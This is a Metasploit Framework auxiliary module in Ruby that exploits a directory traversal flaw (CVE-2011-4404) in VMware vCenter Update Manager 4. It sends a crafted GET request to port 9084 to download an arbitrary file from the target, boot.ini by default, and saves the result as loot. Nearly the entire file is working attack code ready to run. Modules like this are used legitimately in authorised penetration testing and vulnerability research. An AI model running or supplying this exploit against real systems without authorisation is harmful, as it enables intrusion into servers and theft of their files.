##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize(info={})
		super(update_info(info,
			'Name'           => "VMWare Update Manager 4 Directory Traversal",
			'Description'    => %q{
				This modules exploits a directory traversal vulnerability in VMWare Update Manager
				on port 9084.  Versions affected by this vulnerability: vCenter Update Manager
				4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Alexey Sintsov',  #Initial discovery, poc
					'sinn3r'           #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-4404'],
					['EDB', '18138'],
					['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
					['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
				],
			'DisclosureDate' => "Nov 21 2011"))

		register_options(
			[
				Opt::RPORT(9084),
				OptString.new('URIPATH', [true, 'URI path to the downloads/', '/vci/downloads/']),
				OptString.new('FILE', [true, 'Define the remote file to download', 'boot.ini'])
			], self.class)
	end

	def run_host(ip)
		fname     = File.basename(datastore['FILE'])
		traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
		uri = datastore['URIPATH'] + traversal + datastore['FILE']

		print_status("#{rhost}:#{rport} - Requesting: #{uri}")

		res = send_request_raw({
			'method' => 'GET',
			'uri'    => uri
		}, 25)

		# If there's no response, don't bother
		if res.nil? or res.body.empty?
			print_error("No content retrieved from: #{ip}")
			return
		end

		if res.code == 404
			print_error("#{rhost}:#{rport} - File not found")
			return
		else
			print_good("File retrieved from: #{ip}")
			p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
			print_status("File stored in: #{p}")
		end
	end
end